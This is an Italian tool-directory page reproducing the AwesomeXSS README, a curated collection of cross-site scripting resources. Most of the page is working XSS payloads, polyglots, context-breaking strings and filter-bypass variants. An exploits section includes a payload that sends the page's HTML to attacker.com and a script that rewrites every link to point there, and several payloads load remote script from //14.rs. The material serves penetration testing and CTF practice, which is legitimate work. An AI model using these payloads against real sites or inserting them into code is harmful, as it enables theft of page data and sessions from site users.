Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
AwesomeXSS — Fantastici materiali XSS | Kitploit
Strumenti/GitHubGitHub/s0md3v/awesomexss
Generazione di PayloadBypass WAFSicurezza WebCTFPaper e RicercaApprendimento e FormazioneRisorse CuratePercorsi e CorsiLab e Pratica
GitHubs0md3v/awesomexss

AwesomeXSS

Fantastici materiali XSS

Vedi Repository
5.1k7821 anno faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

AwesomeXSS

Questo repository è una raccolta di risorse XSS fantastiche. I contributi sono benvenuti e devono essere inviati tramite un issue.

Contenuti fantastici

  • Sfide
  • Letture e Presentazioni
  • Strumenti
  • Mappe mentali
  • DOM XSS
  • Payload
  • Polyglot
  • Tag e gestori di eventi
  • Rottura del contesto
    • Contesto HTML
    • Contesto attributo
    • Contesto JavaScript
  • Varianti di confirm
  • Exploit
  • Sondaggio
  • Bypass
  • Codifica
  • Suggerimenti e trucchi

Sfide fantastiche

  • prompt.ml
  • alf.nu/alert1
  • xss-game.appspot.com
  • polyglot.innerht.ml
  • sudo.co.il/xss
  • root-me.org
  • chefsecure.com
  • wechall.net
  • codelatte.id/labs/xss

Letture e presentazioni fantastiche

  • Bypass dei meccanismi di rilevamento XSS
  • XSS su Facebook tramite tipo di contenuto PNG
  • Come ho incontrato la tua ragazza
  • Come trovare 1.352 vulnerabilità XSS di plugin WordPress in un'ora
  • Blind XSS
  • Copy Pest

Strumenti fantastici

  • XSStrike
  • BeEF
  • JShell

Mappe mentali XSS fantastiche

Una bellissima mappa mentale XSS di Jack Masa, qui

DOM XSS fantastici

  • Il tuo input finisce in un sink? Vulnerabile
  • No? Non vulnerabile

Fonte: Un input che può essere controllato da una fonte esterna (non attendibile).

root@kitploit:~
document.URL
document.documentURI
document.URLUnencoded (IE 5.5 o successivi solo)
document.baseURI
location
location.href
location.search
location.hash
location.pathname
document.cookie
document.referrer
window.name
history.pushState()
history.replaceState()
localStorage
sessionStorage

Sink: Un metodo potenzialmente pericoloso che potrebbe portare a una vulnerabilità. In questo caso un XSS basato su DOM.

root@kitploit:~
eval
Function
setTimeout
setInterval
setImmediate
execScript
crypto.generateCRMFRequest
ScriptElement.src
ScriptElement.text
ScriptElement.textContent
ScriptElement.innerText
anyTag.onEventName
document.write
document.writeln
anyElement.innerHTML
Range.createContextualFragment
window.location
document.location

Questa lista completa di sink e fonti è presa da domxsswiki.

Payload fantastici

root@kitploit:~
<A/hREf="j%0aavas%09cript%0a:%09con%0afirm%0d``">z
<d3"<"/onclick="1>[confirm``]"<">z
<d3/onmouseenter=[2].find(confirm)>z
<details open ontoggle=confirm()>
<script y="><">/*<script* */prompt()</script
<w="/x="y>"/ondblclick=`<`[confir\u006d``]>z
<a href="javascript%26colon;alert(1)">click
<a href=javas&#99;ript:alert(1)>click
<script/"<a"/src=data:=".<a,[8].some(confirm)>
<svg/x=">"/onload=confirm()//
<--` --!>
<svg%0Aonload=%09((pro\u006dpt))()//
<sCript x>(((confirm)))``</scRipt x>
<svg </onload ="1> (_=prompt,_(1)) "">
<!--><script src=//14.rs>
<embed src=//14.rs>
<script x=">" src=//15.rs></script>
<!'/*"/*/'/*/"/*--></Script><Image SrcSet=K */; OnError=confirm`1` //>
x
<svg onload=write()>

Polyglot fantastici

Ecco un polyglot XSS che ho creato e che può uscire da oltre 20 contesti:

root@kitploit:~
%0ajavascript:`/*\"/*-->&lt;svg onload='/*</template></noembed></noscript></style></title></textarea></script><html onmouseover="/**/ alert()//'">`

Spiegazione di come funziona, qui

Tag e gestori di eventi fantastici

  • 105 gestori di eventi con descrizione
  • 200 gestori di eventi senza descrizione

Alcuni gestori di eventi meno rilevati

root@kitploit:~
ontoggle
onauxclick
ondblclick
oncontextmenu
onmouseleave
ontouchcancel

Alcuni tag HTML che userai

root@kitploit:~
img
svg
body
html
embed
script
object
details
isindex
iframe
audio
video

Rottura del contesto fantastica

Contesto HTML

Caso: <tag>Hai cercato $input. </tag>

root@kitploit:~
<svg onload=alert()>
</tag><svg onload=alert()>

Contesto attributo

Caso: <tag attribute="$input">

root@kitploit:~
"><svg onload=alert()>
"><svg onload=alert()><b attr="
" onmouseover=alert() "
"onmouseover=alert()//
"autofocus/onfocus="alert()

Contesto JavaScript

Caso: <script> var new something = '$input'; </script>

root@kitploit:~
'-alert()-'
'-alert()//'
'}alert(1);{'
'}%0Aalert(1);%0A{'
</script><svg onload=alert()>

Varianti di confirm fantastiche

Sì, confirm perché alert è troppo mainstream.

root@kitploit:~
confirm()
confirm``
(confirm``)
{confirm``}
[confirm``]
(((confirm)))``
co\u006efirm()
new class extends confirm``{}
[8].find(confirm)
[8].map(confirm)
[8].some(confirm)
[8].every(confirm)
[8].filter(confirm)
[8].findIndex(confirm)

Exploit fantastici

Sostituisci tutti i link
root@kitploit:~
Array.from(document.getElementsByTagName("a")).forEach(function(i) {
  i.href = "https://attacker.com";
});
Ladro di codice sorgente
root@kitploit:~
<svg/onload="(new Image()).src='//attacker.com/'%2Bdocument.documentElement.innerHTML">

Sondaggio fantastico

Se nulla di questo funziona, dai un'occhiata alla sezione Bypass fantastici

Prima di tutto, inserisci una stringa non dannosa come d3v e guarda il codice sorgente per farti un'idea sul numero e sui contesti delle riflessioni.
Ora per il contesto attributo, controlla se i doppi apici (") vengono filtrati inserendo x"d3v. Se viene modificato in x&quot;d3v, è probabile che l'output venga correttamente escaped. Se ciò accade, prova a fare lo stesso per gli apici singoli (') inserendo x'd3v, se viene modificato in x&apos;, sei spacciato. L'unica cosa che puoi provare è la codifica.
Se le virgolette non vengono filtrate, puoi semplicemente provare i payload della sezione Rottura del contesto fantastica.
Per il contesto JavaScript, controlla quali virgolette vengono usate, ad esempio se fanno

root@kitploit:~
variable = 'value' o variable = "value"

Ora diciamo che vengono usati gli apici singoli ('), in quel caso inserisci x'd3v. Se viene modificato in x\'d3v, prova a escludere il backslash () aggiungendo un backslash al tuo probe, cioè x\'d3v. Se funziona, usa il seguente payload:

root@kitploit:~
\'-alert()//

Ma se viene modificato in x\\\'d3v, l'unica cosa che puoi provare è chiudere il tag script stesso usando

root@kitploit:~
</script><svg onload=alert()>

Per un semplice contesto HTML, il probe è x<d3v. Se viene modificato in x&gt;d3v, la sanificazione è in atto. Se viene riflesso così com'è, puoi inserire un tag fittizio per verificare potenziali filtri. Il tag fittizio che mi piace usare è x<xxx>. Se viene rimosso o alterato in qualsiasi modo, significa che il filtro cerca una coppia di < e >. Può essere facilmente bypassato usando

root@kitploit:~
<svg onload=alert()//

o questo (non funzionerà in tutti i casi)

root@kitploit:~
<svg onload=alert()

Se i tuoi tag fittizi arrivano nel codice sorgente così come sono, usa uno di questi payload

root@kitploit:~
<svg onload=alert()>
<embed src=//14.rs>
<details open ontoggle=alert()>

Bypass fantastici

Nota: Nessuno di questi payload usa apici singoli (') o doppi apici (").

  • Senza gestori di eventi
root@kitploit:~
<object data=javascript:confirm()>
<a href=javascript:confirm()>clicca qui
<script src=//14.rs></script>
<script>confirm()</script>
  • Senza spazio
root@kitploit:~
<svg/onload=confirm()>

  • Senza barra (/)
root@kitploit:~
<svg onload=confirm()>

  • Senza segno uguale (=)
root@kitploit:~
<script>confirm()</script>
  • Senza parentesi angolare chiusa (>)
root@kitploit:~
<svg onload=confirm()//
  • Senza alert, confirm, prompt
root@kitploit:~
<script src=//14.rs></script>
<svg onload=co\u006efirm()>
<svg onload=z=co\u006efir\u006d,z()>
  • Senza un tag HTML valido
root@kitploit:~
<x onclick=confirm()>clicca qui
<x ondrag=aconfirm()>trascinalo
  • Bypass della blacklist dei tag
root@kitploit:~
</ScRipT>
</script
</script/>
</script x>

Codifica fantastica

Suggerimenti e trucchi fantastici

  • http(s):// può essere abbreviato in // o /\\ o \\.
  • document.cookie può essere abbreviato in cookie. Si applica anche ad altri oggetti DOM.
  • alert e altre funzioni pop-up non hanno bisogno di un valore, quindi smetti di fare alert('XSS') e inizia a fare alert()
  • Puoi usare // per chiudere un tag invece di >.
  • Ho scoperto che confirm è la funzione pop-up meno rilevata, quindi smetti di usare alert.
  • Le virgolette attorno al valore dell'attributo non sono necessarie finché non contiene spazi. Puoi usare <script src=//14.rs> invece di

Crediti fantastici

Tutti i payload sono creati da me se non specificato diversamente.

Scarica lo strumento
HTMLCarattereNumericoDescrizioneHexCSS (ISO)JS (Ottale)URL
&quot;"&#34;virgoletteu+0022\0022\42%22
&num;#&#35;simbolo cancellettou+0023\0023\43%23
&dollar;$&#36;simbolo del dollarou+0024\0024\44%24
&percnt;%&#37;simbolo percentualeu+0025\0025\45%25
&amp;&&#38;e commercialeu+0026\0026\46%26
&apos;'&#39;apostrofou+0027\0027\47%27
&lpar;(&#40;parentesi sinistrau+0028\0028\50%28
&rpar;)&#41;parentesi destrau+0029\0029\51%29
&ast;*&#42;asteriscou+002A\002a\52%2A
&plus;+&#43;segno piùu+002B\002b\53%2B
&comma;,&#44;virgolau+002C\002c\54%2C
&minus;-&#45;trattino-menou+002D\002d\55%2D
&period;.&#46;punto fermo; puntou+002E\002e\56%2E
&sol;/&#47;barrau+002F\002f\57%2F
&colon;:&#58;due puntiu+003A\003a\72%3A
&semi;;&#59;punto e virgolau+003B\003b\73%3B
&lt;<&#60;minore diu+003C\003c\74%3C
&equals;=&#61;ugualeu+003D\003d\75%3D
&gt;>&#62;segno maggiore diu+003E\003e\76%3E
&quest;?&#63;punto interrogativou+003F\003f\77%3F
&commat;@&#64;chiocciola; commerciale atu+0040\0040\100%40
&lsqb;[&#91;parentesi quadra sinistrau+005B\005b\133%5B
&bsol;\&#92;barra rovesciatau+005C\005c\134%5C
&rsqb;]&#93;parentesi quadra destrau+005D\005d\135%5D
&Hat;^&#94;accento circonflessou+005E\005e\136%5E
&lowbar;_&#95;trattino bassou+005F\005f\137%5F
&grave;`&#96;accento graveu+0060\0060\u0060%60
&lcub;{&#123;parentesi graffa sinistrau+007b\007b\173%7b
&verbar;|&#124;barra verticaleu+007c\007c\174%7c
&rcub;}&#125;parentesi graffa destrau+007d\007d\175%7d
<script src="//14.rs">
  • Il payload XSS HTML più corto è <script src=//14.rs> (19 caratteri)